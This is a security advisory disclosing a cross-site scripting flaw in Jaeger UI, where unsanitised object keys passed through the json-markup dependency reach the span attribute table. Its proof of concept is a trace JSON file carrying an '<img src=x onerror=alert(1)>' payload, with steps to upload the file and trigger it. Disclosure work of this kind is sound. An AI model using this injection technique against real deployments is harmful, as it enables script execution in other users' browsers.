About vulnerability

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

1. Start a Jaeger UI
2. Save the following trace as a file:

{
"data": [
{
"traceID": "076ef819cc06c45a",
"spans": [
{
"traceID": "076ef819cc06c45a",
"spanID": "076ef819cc06c45a",
"flags": 1,
"operationName": "and open 'attributes'",
"references": [],
"startTime": 1678196149232010,
"duration": 13485,
"tags": [
{
"key": "sampler.type",
"type": "string",
"value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
}
],
"logs": [],
"processID": "p1",
"warnings": null
}
],
"processes": {
"p1": {
"serviceName": "click here",
"tags": [
]
}
},
"warnings": null
}
],
"total": 0,
"limit": 0,
"offset": 0,
"errors": null
}

3. Upload that trace to Jaeger UI in order to visualise it.
4. Open the trace, open it’s span’s attributes.
5. XSS should be fired.
